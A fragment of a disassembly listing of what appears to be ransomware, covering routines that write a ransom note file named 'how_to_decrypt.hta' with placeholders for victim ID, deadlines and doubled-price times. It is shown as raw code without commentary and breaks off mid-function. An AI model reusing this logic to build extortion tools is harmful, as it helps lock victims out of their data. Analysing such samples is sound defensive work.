0043ab97jne 0x43aa8b
0043ab9dmov rcx, rbx
0043aba0call CloseHandle
0043aba5mov rax, [rip+0x29414]
0043abaccmp [rax+308], 0
0043abb3je 0x43abc3
0043abb5lea rcx, [rip+652]
0043abbcmov dl, 1
0043abbecall fn_439060
0043abc3
0043abc3loc_43abc3:
0043abc3nop
0043abc4
0043abc4loc_43abc4:
0043abc4lea rcx, [rbp+72]
0043abc8call fn_40bd90
0043abcdlea rcx, [rbp+80]
0043abd1call fn_40bcf0
0043abd6lea rcx, [rbp+88]
0043abdacall fn_40bd90
0043abdflea rcx, [rbp+144]
0043abe6call fn_40bd90
0043abeblea rsp, [rbp+120]
0043abefpop rbx
0043abf0pop rbp
0043abf1ret
0043a970

0043abf2
0043abf2 64 48 8d 44 20 00 48 8d 04 05 00 00 00 00 dH.D .H.......

0043ac00
0043ac00fn_43ac00:
0043ac00push rbp
0043ac01push rbx
0043ac02sub rsp, 40
0043ac06mov rbp, rsp
0043ac09mov rbx, rdx
0043ac0clea rcx, [rbx+72]
0043ac10call fn_40bd90
0043ac15lea rcx, [rbx+80]
0043ac19call fn_40bcf0
0043ac1elea rcx, [rbx+88]
0043ac22call fn_40bd90
0043ac27lea rcx, [rbx+144]
0043ac2ecall fn_40bd90
0043ac33lea rsp, [rbp+40]
0043ac37pop rbx
0043ac38pop rbp
0043ac39ret
0043ac00

0043ac3a
0043ac3a 00 00 42 00 00 00 ..B...
0043ac40 54 00 72 00 79 00 20 00 74 00 6f 00 20 00 63 00 T.r.y. .t.o. .c.
0043ac50 72 00 65 00 61 00 74 00 65 00 20 00 61 00 6e 00 r.e.a.t.e. .a.n.
0043ac60 64 00 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 d. .o.p.e.n. .H.
0043ac70 54 00 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 T.A. .f.i.l.e.:.
0043ac80 20 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ...$...h.o.w._.
0043ac90 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043aca0 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043acb0 b0 04 02 00 ff ff ff ff 27 00 00 00 57 00 41 00 ........'...W.A.
0043acc0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043acd0 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 a.n.'.t. .c.r.e.
0043ace0 61 00 74 00 65 00 20 00 6f 00 72 00 20 00 6f 00 a.t.e. .o.r. .o.
0043acf0 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 20 00 p.e.n. .H.T.A. .
0043ad00 66 00 69 00 6c 00 65 00 2e 00 00 00 b0 04 02 00 f.i.l.e.........
0043ad10 ff ff ff ff 2e 00 00 00 45 00 52 00 52 00 4f 00 ........E.R.R.O.
0043ad20 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043ad30 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043ad40 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043ad50 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 s.i.t.i.o.n... .
0043ad60 54 00 72 00 79 00 20 00 61 00 67 00 61 00 69 00 T.r.y. .a.g.a.i.
0043ad70 6e 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff n...............
0043ad80 25 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 %...E.R.R.O.R.:.
0043ad90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
0043ada0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
0043adb0 48 00 54 00 41 00 2e 00 20 00 54 00 72 00 79 00 H.T.A... .T.r.y.
0043adc0 20 00 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 .a.g.a.i.n.....
0043add0 b0 04 02 00 ff ff ff ff 2e 00 00 00 45 00 52 00 ............E.R.
0043ade0 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043adf0 27 00 74 00 20 00 77 00 72 00 69 00 74 00 65 00 '.t. .w.r.i.t.e.
0043ae00 20 00 61 00 6c 00 6c 00 20 00 64 00 61 00 74 00 .a.l.l. .d.a.t.
0043ae10 61 00 20 00 74 00 6f 00 20 00 48 00 54 00 41 00 a. .t.o. .H.T.A.
0043ae20 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043ae30 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043ae40 ff ff ff ff 0a 00 00 00 48 00 54 00 41 00 20 00 ........H.T.A. .
0043ae50 73 00 61 00 76 00 65 00 64 00 2e 00 00 00 cc cc s.a.v.e.d.......

0043ae60
0043ae60fn_43ae60:
0043ae60push rbp
0043ae61sub rsp, 96
0043ae65mov rbp, rsp
0043ae68mov [rbp+64], 0
0043ae70mov [rbp+56], 0
0043ae78mov [rbp+80], 0
0043ae80mov [rbp+72], 0
0043ae88mov [rbp+88], 0
0043ae90nop
0043ae91lea rcx, [rbp+88]
0043ae95mov rax, [rip+0x29124]
0043ae9cmov rdx, [rax+280]
0043aea3lea r8, [rip+406]
0043aeaacall fn_40d230
0043aeafmov rcx, [rbp+88]
0043aeb3call fn_42fe80
0043aeb8test al, al
0043aebaje 0x43af32
0043aebcmov rax, [rip+0x290fd]
0043aec3cmp [rax+308], 0
0043aecaje 0x43af28
0043aecclea rcx, [rip+417]
0043aed3mov dl, 1
0043aed5call fn_439060
0043aedalea rcx, [rbp+80]
0043aedemov edx, 3
0043aee3lea r8, [rip+418]
0043aeeamov rax, [rip+0x290cf]
0043aef1mov r9, [rax+280]
0043aef8lea rax, [rip+321]
0043aeffmov [rsp+32], rax
0043af04call fn_40d530
0043af09lea rcx, [rbp+72]
0043af0dmov rdx, [rbp+80]
0043af11call fn_40d820
0043af16mov rcx, [rbp+72]
0043af1amov dl, 1
0043af1ccall fn_439060
0043af21xor ecx, ecx
0043af23call fn_4392a0
0043af28
0043af28loc_43af28:
0043af28call fn_439db0
0043af2djmp 0x43afc3
0043af32
0043af32loc_43af32:
0043af32mov rax, [rip+0x29087]
0043af39cmp [rax+308], 0
0043af40je 0x43af50
0043af42lea rcx, [rip+367]
0043af49mov dl, 1
0043af4bcall fn_439060
0043af50
0043af50loc_43af50:
0043af50call fn_43b120
0043af55mov rax, [rip+0x29064]
0043af5ccmp [rax+308], 0
0043af63je 0x43afb0
0043af65lea rcx, [rip+372]
0043af6cmov dl, 1
0043af6ecall fn_439060
0043af73lea rcx, [rbp+64]
0043af77lea rdx, [rip+378]
0043af7emov rax, [rip+0x2903b]
0043af85mov r8, [rax+280]
0043af8ccall fn_40d230
0043af91lea rcx, [rbp+56]
0043af95mov rdx, [rbp+64]
0043af99call fn_40d820
0043af9emov rcx, [rbp+56]
0043afa2mov dl, 1
0043afa4call fn_439060
0043afa9xor ecx, ecx
0043afabcall fn_4392a0
0043afb0
0043afb0loc_43afb0:
0043afb0mov rax, [rip+0x29009]
0043afb7mov rcx, [rax+280]
0043afbecall fn_43a970
0043afc3
0043afc3loc_43afc3:
0043afc3nop
0043afc4lea rcx, [rbp+56]
0043afc8call fn_40bcf0
0043afcdlea rcx, [rbp+64]
0043afd1call fn_40bd90
0043afd6lea rcx, [rbp+72]
0043afdacall fn_40bcf0
0043afdflea rcx, [rbp+80]
0043afe3mov edx, 2
0043afe8call fn_40be70
0043afedlea rsp, [rbp+96]
0043aff1pop rbp
0043aff2ret
0043ae60

0043aff3
0043aff3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......

0043b000
0043b000fn_43b000:
0043b000push rbp
0043b001push rbx
0043b002sub rsp, 40
0043b006mov rbp, rsp
0043b009mov rbx, rdx
0043b00clea rcx, [rbx+56]
0043b010call fn_40bcf0
0043b015lea rcx, [rbx+64]
0043b019call fn_40bd90
0043b01elea rcx, [rbx+72]
0043b022call fn_40bcf0
0043b027lea rcx, [rbx+80]
0043b02bmov edx, 2
0043b030call fn_40be70
0043b035lea rsp, [rbp+40]
0043b039pop rbx
0043b03apop rbp
0043b03bret
0043b000

0043b03c
0043b03c 24 00 00 00 $...
0043b040 68 00 6f 00 77 00 5f 00 74 00 6f 00 5f 00 64 00 h.o.w._.t.o._.d.
0043b050 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 68 00 e.c.r.y.p.t...h.
0043b060 74 00 61 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.a.............
0043b070 09 00 00 00 4c 00 6f 00 61 00 64 00 20 00 48 00 ....L.o.a.d. .H.
0043b080 54 00 41 00 2e 00 00 00 1e 00 00 00 48 00 54 00 T.A.........H.T.
0043b090 41 00 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 A. .f.i.l.e. .p.
0043b0a0 61 00 74 00 68 00 3a 00 20 00 00 00 b0 04 02 00 a.t.h.:. .......
0043b0b0 ff ff ff ff 0c 00 00 00 50 00 72 00 65 00 70 00 ........P.r.e.p.
0043b0c0 61 00 72 00 65 00 20 00 48 00 54 00 41 00 2e 00 a.r.e. .H.T.A...
0043b0d0 00 00 00 00 b0 04 02 00 ff ff ff ff 09 00 00 00 ................
0043b0e0 53 00 61 00 76 00 65 00 20 00 48 00 54 00 41 00 S.a.v.e. .H.T.A.
0043b0f0 2e 00 00 00 24 00 00 00 54 00 65 00 6d 00 70 00 ....$...T.e.m.p.
0043b100 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 .f.o.l.d.e.r. .
0043b110 70 00 61 00 74 00 68 00 3a 00 20 00 00 00 cc cc p.a.t.h.:. .....

0043b120
0043b120fn_43b120:
0043b120push rbp
0043b121add rsp, -128
0043b125mov rbp, rsp
0043b128mov [rbp+32], 0
0043b130mov [rbp+40], 0
0043b138mov [rbp+48], 0
0043b140mov [rbp+56], 0
0043b148mov [rbp+64], 0
0043b150mov [rbp+72], 0
0043b158mov [rbp+120], 0
0043b160mov [rbp+112], 0
0043b168mov [rbp+104], 0
0043b170mov [rbp+96], 0
0043b178mov [rbp+88], 0
0043b180mov [rbp+80], 0
0043b188nop
0043b189mov rax, [rip+0x28ff8]
0043b190lea rcx, [rax+160]
0043b197lea rdx, [rip+1138]
0043b19ecall fn_40c360
0043b1a3mov rax, [rip+0x28fde]
0043b1aalea rcx, [rax+168]
0043b1b1lea rdx, [rip+1140]
0043b1b8call fn_40c360
0043b1bdmov rax, [rip+0x28fc4]
0043b1c4lea rcx, [rax+176]
0043b1cblea rdx, [rip+1146]
0043b1d2call fn_40c360
0043b1d7mov rax, [rip+0x28faa]
0043b1delea rcx, [rax+184]
0043b1e5lea rdx, [rip+1144]
0043b1eccall fn_40c360
0043b1f1mov rax, [rip+0x28f90]
0043b1f8lea rcx, [rax+192]
0043b1fflea rdx, [rip+1142]
0043b206call fn_40c360
0043b20bmov rax, [rip+0x28f76]
0043b212lea rcx, [rax+200]
0043b219lea rdx, [rip+1136]
0043b220call fn_40c360
0043b225mov rax, [rip+0x28f5c]
0043b22clea rcx, [rax+208]
0043b233lea rdx, [rip+1134]
0043b23acall fn_40c360
0043b23fmov rax, [rip+0x28f42]
0043b246lea rcx, [rax+216]
0043b24dlea rdx, [rip+1132]
0043b254call fn_40c360
0043b259mov rax, [rip+0x28f28]
0043b260lea rcx, [rax+224]
0043b267lea rdx, [rip+1134]
0043b26ecall fn_40c360
0043b273mov rax, [rip+0x28f0e]
0043b27alea rcx, [rax+232]
0043b281lea rdx, [rip+1140]
0043b288call fn_40c360
0043b28dmov rax, [rip+0x28ef4]
0043b294lea rcx, [rax+240]
0043b29blea rdx, [rip+1142]
0043b2a2call fn_40c360
0043b2a7mov rax, [rip+0x28eda]
0043b2aelea rcx, [rax+248]
0043b2b5lea rdx, [rip+1148]
0043b2bccall fn_40c360
0043b2c1mov rax, [rip+0x28ec0]
0043b2c8mov [rax+12], 58
0043b2cemov rax, [rip+0x28eb3]
0043b2d5mov [rax+10], 32
0043b2dblea rcx, [rbp+72]
0043b2dflea rdx, [rip+1138]
0043b2e6mov rax, [rip+0x28cd3]
0043b2edmovsd_xmm x2, [rax+744]
0043b2f5mov r9, [rip+0x28e8c]
0043b2fccall fn_427060
0043b301lea rcx, [rbp+120]
0043b305mov rdx, [rbp+72]
0043b309call fn_40d850
0043b30elea rcx, [rip+1139]
0043b315mov rdx, [rbp+120]
0043b319mov r8l, 1
0043b31fcall fn_40de90
0043b324test eax, eax
0043b326jne 0x43b338
0043b328lea rcx, [rbp+120]
0043b32clea rdx, [rip+1117]
0043b333call fn_40d1a0
0043b338
0043b338loc_43b338:
0043b338mov rax, [rip+0x28c81]
0043b33fmovsd_xmm x0, [rax+744]
0043b347mov rax, [rip+0x28c72]
0043b34emovzx edx, [rax+88]
0043b352call fn_4383c0
0043b357lea rcx, [rbp+64]
0043b35blea rdx, [rip+1014]
0043b362movapd x2, x0
0043b366mov r9, [rip+0x28e1b]
0043b36dcall fn_427060
0043b372lea rcx, [rbp+112]
0043b376mov rdx, [rbp+64]
0043b37acall fn_40d850
0043b37flea rcx, [rip+1026]
0043b386mov rdx, [rbp+112]
0043b38amov r8l, 1
0043b390call fn_40de90
0043b395test eax, eax
0043b397jne 0x43b3a9
0043b399lea rcx, [rbp+112]
0043b39dlea rdx, [rip+1004]
0043b3a4call fn_40d1a0
0043b3a9
0043b3a9loc_43b3a9:
0043b3a9mov rax, [rip+0x28c10]
0043b3b0movsd_xmm x0, [rax+744]
0043b3b8mov rax, [rip+0x28c01]
0043b3bfmovzx edx, [rax+90]
0043b3c3call fn_4383c0
0043b3c8lea rcx, [rbp+56]
0043b3cclea rdx, [rip+901]
0043b3d3movapd x2, x0
0043b3d7mov r9, [rip+0x28daa]
0043b3decall fn_427060
0043b3e3lea rcx, [rbp+104]
0043b3e7mov rdx, [rbp+56]
0043b3ebcall fn_40d850
0043b3f0lea rcx, [rip+913]
0043b3f7mov rdx, [rbp+104]
0043b3fbmov r8l, 1
0043b401call fn_40de90
0043b406test eax, eax
0043b408jne 0x43b41a
0043b40alea rcx, [rbp+104]
0043b40elea rdx, [rip+891]
0043b415call fn_40d1a0
0043b41a
0043b41aloc_43b41a:
0043b41alea rcx, [rbp+48]
0043b41emov rdx, [rbp+120]
0043b422xor r8, r8
0043b425call fn_40c8e0
0043b42amov rcx, [rbp+48]
0043b42elea rdx, [rbp+96]
0043b432call fn_430db0
0043b437lea rcx, [rbp+40]
0043b43bmov rdx, [rbp+112]
0043b43fxor r8, r8
0043b442call fn_40c8e0
0043b447mov rcx, [rbp+40]
0043b44blea rdx, [rbp+88]
0043b44fcall fn_430db0
0043b454lea rcx, [rbp+32]
0043b458mov rdx, [rbp+104]
0043b45cxor r8, r8
0043b45fcall fn_40c8e0
0043b464mov rcx, [rbp+32]
0043b468lea rdx, [rbp+80]
0043b46ccall fn_430db0
0043b471mov rax, [rip+0x28b48]
0043b478lea rcx, [rax+152]
0043b47flea rdx, [rip+810]
0043b486mov rax, [rip+0x28b33]
0043b48dmov r8, [rax+80]
0043b491call fn_42ff20
0043b496mov rax, [rip+0x28b23]
0043b49dlea rcx, [rax+152]
0043b4a4lea rdx, [rip+797]
0043b4abmov r8, [rbp+96]
0043b4afcall fn_42ff20
0043b4b4mov rax, [rip+0x28b05]
0043b4bblea rcx, [rax+152]
0043b4c2lea rdx, [rip+795]
0043b4c9mov r8, [rbp+88]
0043b4cdcall fn_42ff20
0043b4d2mov rax, [rip+0x28ae7]
0043b4d9lea rcx, [rax+152]
0043b4e0lea rdx, [rip+793]
0043b4e7mov r8, [rbp+80]
0043b4ebcall fn_42ff20
0043b4f0mov rax, [rip+0x28ac9]
0043b4f7lea rcx, [rax+152]
0043b4felea rdx, [rip+787]
0043b505mov rax, [rip+0x28ab4]
0043b50cmov r8, [rax+736]
0043b513call fn_42ff20
0043b518mov rax, [rip+0x28aa1]
0043b51flea rcx, [rax+152]
0043b526lea rdx, [rip+771]
0043b52dmov rax, [rip+0x28a8c]
0043b534mov r8, [rax+128]
0043b53bcall fn_42ff20
0043b540mov rax, [rip+0x28a79]
0043b547lea rcx, [rax+152]
0043b54elea rdx, [rip+751]
0043b555mov rax, [rip+0x28a64]
0043b55cmov r8, [rax+40]
0043b560call fn_42ff20
0043b565nop
0043b566lea rcx, [rbp+32]
0043b56amov edx, 3
0043b56fcall fn_40be20
0043b574lea rcx, [rbp+56]
0043b578mov edx, 3
0043b57dcall fn_40bdd0
0043b582lea rcx, [rbp+80]
0043b586mov rdx, [rip-51053]
0043b58dmov r8l, 3
0043b593call fn_40ec40
0043b598lea rcx, [rbp+104]
0043b59cmov edx, 3
0043b5a1call fn_40be70
0043b5a6lea rsp, [rbp+128]
0043b5adpop rbp
0043b5aeret
0043b120

0043b5af
0043b5af // align 0x10

0043b5b0
0043b5b0fn_43b5b0:
0043b5b0push rbp
0043b5b1push rbx
0043b5b2sub rsp, 40
0043b5b6mov rbp, rsp
0043b5b9mov rbx, rdx
0043b5bclea rcx, [rbx+32]
0043b5c0mov edx, 3
0043b5c5call fn_40be20
0043b5calea rcx, [rbx+56]
0043b5cemov edx, 3
0043b5d3call fn_40bdd0
0043b5d8lea rcx, [rbx+80]
0043b5dcmov rdx, [rip-51139]
0043b5e3mov r8l, 3
0043b5e9call fn_40ec40
0043b5eelea rcx, [rbx+104]
0043b5f2mov edx, 3
0043b5f7call fn_40be70
0043b5fclea rsp, [rbp+40]
0043b600pop rbx
0043b601pop rbp
0043b602ret
0043b5b0

0043b603
0043b603 00 b0 04 02 00 ff ff ff ff 07 00 00 00 .............
0043b610 4a 00 61 00 6e 00 75 00 61 00 72 00 79 00 00 00 J.a.n.u.a.r.y...
0043b620 b0 04 02 00 ff ff ff ff 08 00 00 00 46 00 65 00 ............F.e.
0043b630 62 00 72 00 75 00 61 00 72 00 79 00 00 00 00 00 b.r.u.a.r.y.....
0043b640 b0 04 02 00 ff ff ff ff 05 00 00 00 4d 00 61 00 ............M.a.
0043b650 72 00 63 00 68 00 00 00 b0 04 02 00 ff ff ff ff r.c.h...........
0043b660 05 00 00 00 41 00 70 00 72 00 69 00 6c 00 00 00 ....A.p.r.i.l...
0043b670 b0 04 02 00 ff ff ff ff 03 00 00 00 4d 00 61 00 ............M.a.
0043b680 79 00 00 00 b0 04 02 00 ff ff ff ff 04 00 00 00 y...............
0043b690 4a 00 75 00 6e 00 65 00 00 00 00 00 b0 04 02 00 J.u.n.e.........
0043b6a0 ff ff ff ff 04 00 00 00 4a 00 75 00 6c 00 79 00 ........J.u.l.y.
0043b6b0 00 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 ................
0043b6c0 41 00 75 00 67 00 75 00 73 00 74 00 00 00 00 00 A.u.g.u.s.t.....
0043b6d0 b0 04 02 00 ff ff ff ff 09 00 00 00 53 00 65 00 ............S.e.
0043b6e0 70 00 74 00 65 00 6d 00 62 00 65 00 72 00 00 00 p.t.e.m.b.e.r...
0043b6f0 b0 04 02 00 ff ff ff ff 07 00 00 00 4f 00 63 00 ............O.c.
0043b700 74 00 6f 00 62 00 65 00 72 00 00 00 b0 04 02 00 t.o.b.e.r.......
0043b710 ff ff ff ff 08 00 00 00 4e 00 6f 00 76 00 65 00 ........N.o.v.e.
0043b720 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b730 ff ff ff ff 08 00 00 00 44 00 65 00 63 00 65 00 ........D.e.c.e.
0043b740 6d 00 62 00 65 00 72 00 00 00 00 00 b0 04 02 00 m.b.e.r.........
0043b750 ff ff ff ff 14 00 00 00 6d 00 6d 00 6d 00 6d 00 ........m.m.m.m.
0043b760 20 00 64 00 20 00 79 00 79 00 79 00 79 00 20 00 .d. .y.y.y.y. .
0043b770 68 00 68 00 3a 00 6e 00 6e 00 3a 00 73 00 73 00 h.h.:.n.n.:.s.s.
0043b780 00 00 00 00 02 00 00 00 3a 00 00 00 12 00 00 00 ........:.......
0043b790 20 00 30 00 30 00 3a 00 30 00 30 00 3a 00 30 00 .0.0.:.0.0.:.0.
0043b7a0 30 00 00 00 e3 04 01 00 ff ff ff ff 09 00 00 00 0...............
0043b7b0 5b 53 55 50 50 4f 52 54 5d 00 00 00 e3 04 01 00 [SUPPORT].......
0043b7c0 ff ff ff ff 0c 00 00 00 5b 53 54 41 52 54 5f 54 ........[START_T
0043b7d0 49 4d 45 5d 00 00 00 00 e3 04 01 00 ff ff ff ff IME]............
0043b7e0 0d 00 00 00 5b 44 4f 55 42 4c 45 5f 54 49 4d 45 ....[DOUBLE_TIME
0043b7f0 5d 00 00 00 e3 04 01 00 ff ff ff ff 0a 00 00 00 ]...............
0043b800 5b 45 4e 44 5f 54 49 4d 45 5d 00 00 e3 04 01 00 [END_TIME]......
0043b810 ff ff ff ff 09 00 00 00 5b 52 45 47 5f 43 52 54 ........[REG_CRT
0043b820 5d 00 00 00 e3 04 01 00 ff ff ff ff 05 00 00 00 ]...............
0043b830 5b 43 49 44 5d 00 00 00 e3 04 01 00 ff ff ff ff [CID]...........
0043b840 05 00 00 00 5b 56 49 44 5d 00 cc cc cc cc cc cc ....[VID].......

0043b850
0043b850Unit41.finalization:
0043b850add [rip+0x34ee5], 1
0043b857cmp [rip+0x34ede], 0
0043b85eret
0043b850

0043b85f
0043b85f // align 0x10

0043b860
0043b860Unit41.initialization:
0043b860sub [rip+0x34ed5], 1
0043b867cmp [rip+0x34ece], -1
0043b86eret
0043b860

0043b86f
0043b86f // align 0x10
0043b870
0043b870 78 b8 43 00 00 00 00 00 03 05 54 53 69 67 6e 01 x.C.......TSign.
0043b880 00 00 00 00 01 00 00 00 70 b8 43 00 00 00 00 00 ........p.C.....
0043b890 08 6e 65 67 61 74 69 76 65 08 70 6f 73 69 74 69 .negative.positi
0043b8a0 76 65 0c 53 69 6d 70 6c 65 42 69 67 49 6e 74 02 ve.SimpleBigInt.
0043b8b0 00 00 00 00 00 00 00 00 c0 b8 43 00 00 00 00 00 ..........C.....
0043b8c0 11 11 3a 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 ..:TSimpleBigInt
0043b8d0 2e 3a 31 04 00 00 00 00 00 00 00 00 00 00 00 03 .:1.............
0043b8e0 00 00 00 d8 10 40 00 00 00 00 00 0c 53 69 6d 70 .....@......Simp
0043b8f0 6c 65 42 69 67 49 6e 74 d8 10 40 00 00 00 00 00 leBigInt..@.....
0043b900 02 00 00 00 00 00 00 00 10 b9 43 00 00 00 00 00 ..........C.....
0043b910 0e 0d 54 53 69 6d 70 6c 65 42 69 67 49 6e 74 10 ..TSimpleBigInt.
0043b920 00 00 00 01 00 00 00 b8 b8 43 00 00 00 00 00 08 .........C......
0043b930 00 00 00 00 00 00 00 00 02 00 00 00 70 b8 43 00 ............p.C.
0043b940 00 00 00 00 00 00 00 00 00 00 00 00 02 04 53 69 ..............Si
0043b950 67 6e 02 00 b8 b8 43 00 00 00 00 00 08 00 00 00 gn....C.........
0043b960 00 00 00 00 02 06 4e 75 6d 62 65 72 02 00 02 00 ......Number....
0043b970 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................

0043b980
0043b980fn_43b980:
0043b980push rbp
0043b981push rsi
0043b982push rbx
0043b983sub rsp, 64
0043b987mov rbp, rsp
0043b98amov [rbp+40], rcx
0043b98emov [rbp+48], rdx
0043b992mov [rbp+56], 0
0043b99anop
0043b99bxor esi, esi
0043b99emov ebx, 1
0043b9a3
0043b9a3loc_43b9a3:
0043b9a3lea rcx, [rbp+56]
0043b9a7mov rdx, [rbp+48]
0043b9abmov r8l, ebx
0043b9aemov r9l, 1
0043b9b4call fn_40ce30
0043b9b9mov rcx, [rbp+56]
0043b9bdlea rdx, [rip+96]
0043b9c4call fn_40cdc0
0043b9c9test eax, eax
0043b9cbjne 0x43b9de
0043b9cdmov eax, 1
0043b9d2mov ecx, 8
0043b9d7sub ecx, ebx
0043b9d9shl eax, cl
0043b9dbor sil, al
0043b9de
0043b9deloc_43b9de:
0043b9deadd ebx, 1
0043b9e1cmp ebx, 9
0043b9e4jne 0x43b9a3
0043b9e6nop
0043b9e7mov rax, [rbp+40]
0043b9ebmov [rax], sil
0043b9eenop
0043b9eflea rcx, [rbp+56]
0043b9f3call fn_40bd40
0043b9f8lea rsp, [rbp+64]
0043b9fcpop rbx
0043b9fdpop rsi
0043b9fepop rbp
0043b9ffret
0043b980

0043ba00
0043ba00fn_43ba00:
0043ba00push rbp
0043ba01sub rsp, 32
0043ba05mov rbp, rsp
0043ba08lea rcx, [rdx+56]
0043ba0ccall fn_40bd40
0043ba11lea rsp, [rbp+32]
0043ba15pop rbp
0043ba16ret
0043ba00

0043ba17
0043ba17 00 e3 04 01 00 ff ff ff ff .........
0043ba20 01 00 00 00 31 00 cc cc cc cc cc cc cc cc cc cc ....1...........

0043ba30
0043ba30fn_43ba30:
0043ba30push rbp
0043ba31push r14
0043ba33push r13
0043ba35push rdi
0043ba36push rsi
0043ba37push rbx
0043ba38sub rsp, 168
0043ba3fmov rbp, rsp
0043ba42mov [rbp+40], rcx
0043ba46mov [rbp+152], 0
0043ba51nop
0043ba52xor eax, eax
0043ba54mov [rbp+52], eax
0043ba57
0043ba57loc_43ba57:
0043ba57xor eax, eax
0043ba59mov [rbp+56], eax
0043ba5c
0043ba5cloc_43ba5c:
0043ba5cxor eax, eax
0043ba5emov [rbp+60], eax
0043ba61
0043ba61loc_43ba61:
0043ba61xor ebx, ebx
0043ba63
0043ba63loc_43ba63:
0043ba63xor esi, esi
0043ba65
0043ba65loc_43ba65:
0043ba65xor edi, edi
0043ba67
0043ba67loc_43ba67:
0043ba67xor r13, r13
0043ba6a
0043ba6aloc_43ba6a:
0043ba6axor r14, r14
0043ba6d
0043ba6dloc_43ba6d:
0043ba6dmov [rbp+136], 1
0043ba74mov eax, [rbp+52]
0043ba77add al, 48
0043ba7amov [rbp+137], al
0043ba80lea rcx, [rbp+128]
0043ba87lea rdx, [rbp+136]
0043ba8ecall fn_40c750
0043ba93mov [rbp+120], 1
0043ba97mov eax, [rbp+56]
0043ba9aadd al, 48
0043ba9dmov [rbp+121], al
0043baa0lea rcx, [rbp+128]
0043baa7lea rdx, [rbp+120]
0043baabmov r8l, 2
0043bab1call fn_40c780
0043bab6lea rcx, [rbp+112]
0043babalea rdx, [rbp+128]
0043bac1call fn_40c750
0043bac6mov [rbp+120], 1
0043bacamov eax, [rbp+60]
0043bacdadd al, 48
0043bad0mov [rbp+121], al
0043bad3lea rcx, [rbp+112]
0043bad7lea rdx, [rbp+120]
0043badbmov r8l, 3
0043bae1call fn_40c780
0043bae6lea rcx, [rbp+104]
0043baealea rdx, [rbp+112]
0043baeecall fn_40c750
0043baf3mov [rbp+120], 1
0043baf7mov eax, ebx
0043baf9add al, 48
0043bafcmov [rbp+121], al
0043bafflea rcx, [rbp+104]
0043bb03lea rdx, [rbp+120]
0043bb07mov r8l, 4
0043bb0dcall fn_40c780
0043bb12lea rcx, [rbp+96]
0043bb16lea rdx, [rbp+104]
0043bb1acall fn_40c750
0043bb1fmov [rbp+120], 1
0043bb23mov eax, esi
0043bb26add al, 48
0043bb29mov [rbp+121], al
0043bb2clea rcx, [rbp+96]
0043bb30lea rdx, [rbp+120]
0043bb34mov r8l, 5
0043bb3acall fn_40c780
0043bb3flea rcx, [rbp+88]
0043bb43lea rdx, [rbp+96]
0043bb47call fn_40c750
0043bb4cmov [rbp+120], 1
0043bb50mov eax, edi
0043bb53add al, 48
0043bb56mov [rbp+121], al
0043bb59lea rcx, [rbp+88]
0043bb5dlea rdx, [rbp+120]
0043bb61mov r8l, 6
0043bb67call fn_40c780
0043bb6clea rcx, [rbp+80]
0043bb70lea rdx, [rbp+88]
0043bb74call fn_40c750
0043bb79mov [rbp+120], 1
0043bb7dmov eax, r13l
0043bb80add al, 48
0043bb83mov [rbp+121], al
0043bb86lea rcx, [rbp+80]
0043bb8alea rdx, [rbp+120]
0043bb8emov r8l, 7
0043bb94call fn_40c780
0043bb99lea rcx, [rbp+64]
0043bb9dlea rdx, [rbp+80]
0043bba1call fn_40c750
0043bba6mov [rbp+120], 1
0043bbaamov eax, r14l
0043bbadadd al, 48
0043bbb0mov [rbp+121], al
0043bbb3lea rcx, [rbp+64]
0043bbb7lea rdx, [rbp+120]
0043bbbbmov r8l, 8
0043bbc1call fn_40c780
0043bbc6lea rcx, [rbp+152]
0043bbcdlea rdx, [rbp+64]
0043bbd1xor r8, r8
0043bbd4call fn_40c890
0043bbd9lea rcx, [rbp+151]
0043bbe0mov rdx, [rbp+152]
0043bbe7call fn_43b980
0043bbecmovzx rax, [rbp+151]
0043bbf4mov rcx, [rbp+40]
0043bbf8lea rcx, [rcx+8*rax]
0043bbfcmov rdx, [rbp+152]
0043bc03call fn_40c4a0
0043bc08add r14l, 1
0043bc0ccmp r14l, 2
0043bc10jne 0x43ba6d
0043bc16nop
0043bc17add r13l, 1
0043bc1bcmp r13l, 2
0043bc1fjne 0x43ba6a
0043bc25nop
0043bc26add edi, 1
0043bc29cmp edi, 2
0043bc2cjne 0x43ba67
0043bc32nop
0043bc33add esi, 1
0043bc36cmp esi, 2
0043bc39jne 0x43ba65
0043bc3fnop
0043bc40add ebx, 1
0043bc43cmp ebx, 2
0043bc46jne 0x43ba63
0043bc4cnop
0043bc4dmov eax, [rbp+60]
0043bc50add eax, 1
0043bc53mov [rbp+60], eax
0043bc56mov eax, [rbp+60]
0043bc59cmp eax, 2
0043bc5cjne 0x43ba61
